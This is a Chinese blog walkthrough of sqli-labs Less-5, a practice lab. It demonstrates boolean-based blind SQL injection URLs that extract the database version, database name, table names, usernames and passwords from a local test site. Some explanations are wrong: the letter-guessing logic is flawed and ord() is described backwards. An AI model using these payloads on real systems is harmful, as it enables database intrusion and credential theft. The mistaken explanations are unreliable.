由于第三四关和第一第二关大致相同,我就不写了。
接下来来写第五关的第一种方式。
1,目标网站:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1
当传递的ID为1的时候提示“you are in”
2,查找注入点:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' 返回错误
当输入上面的url的时候就报错了。我们可以从箭头处看到报错的原因。
说明把“1’”带入数据库查询了,所以存在注入点
3,查看版本信息:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(version(),1)=5 %23
返回正常
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(version(),1)=4 %23
返回错误 所以数据库版本是5.0
4,判断数据库长度:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 7 %23
返回错误
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 8 %23
返回正确
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 9 %23
返回错误
所以数据库的名称是8位构成
5,猜测数据库名称(从第一位开始猜):
1>猜第1位
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'a' %23
返回正常
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'z' %23
返回错误
说明第一位在a和z之间
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'s' %23
返回正确
所以第一位是s
1>猜第2位
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sa' %23
返回正常
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sz' %23
返回错误
说明第二位在a和z之间
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'se' %23
返回正确
所以第二位是e
以此类推,直到推出第8位:最后数据库为security
6,猜测数据库(security)中的表:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n
说明:
a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数
7,猜用户:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ord(mid((select ifnull(cast(username as char),0x20)from S. M order by id limit A,1),B,1))=N %23
其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。
8.猜用户和密码:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N %23
其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。
例:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23
附录:
substr()用于字符串加减
ord()将ASCLL码值转换为字符 示例: ord('a')表示a在ASSCLL码中的序号,为97; ord('b')表示b在ASSCLL码中的序号,为98;
mid() :字符串截取函数
语法: mid(字符串,指定截取位数,截取N个)
示例
B6=123456789abcdef =mid(B6,1,13) 结果= 123456789abcd
IFNULL(expr1,expr2)
如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。
cast()函数:
参考博客:http://www.studyofnet.com/news/109.html
(1).CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。以下例子用于将文本字符串'12'转换为整型:
SELECT CAST('12' AS int)
(2).返回值是整型值12。如果试图将一个代表小数的字符串转换为整型值,又会出现什么情况呢?
SELECT CAST('12.5' AS int)
(3).CAST()函数和CONVERT()函数都不能执行四舍五入或截断操作。由于12.5不能用int数据类型来表示,所以对这个函数调用将产生一个错误:
微信公众号
原文地址:http://blog.51cto.com/tdcqvip/2062354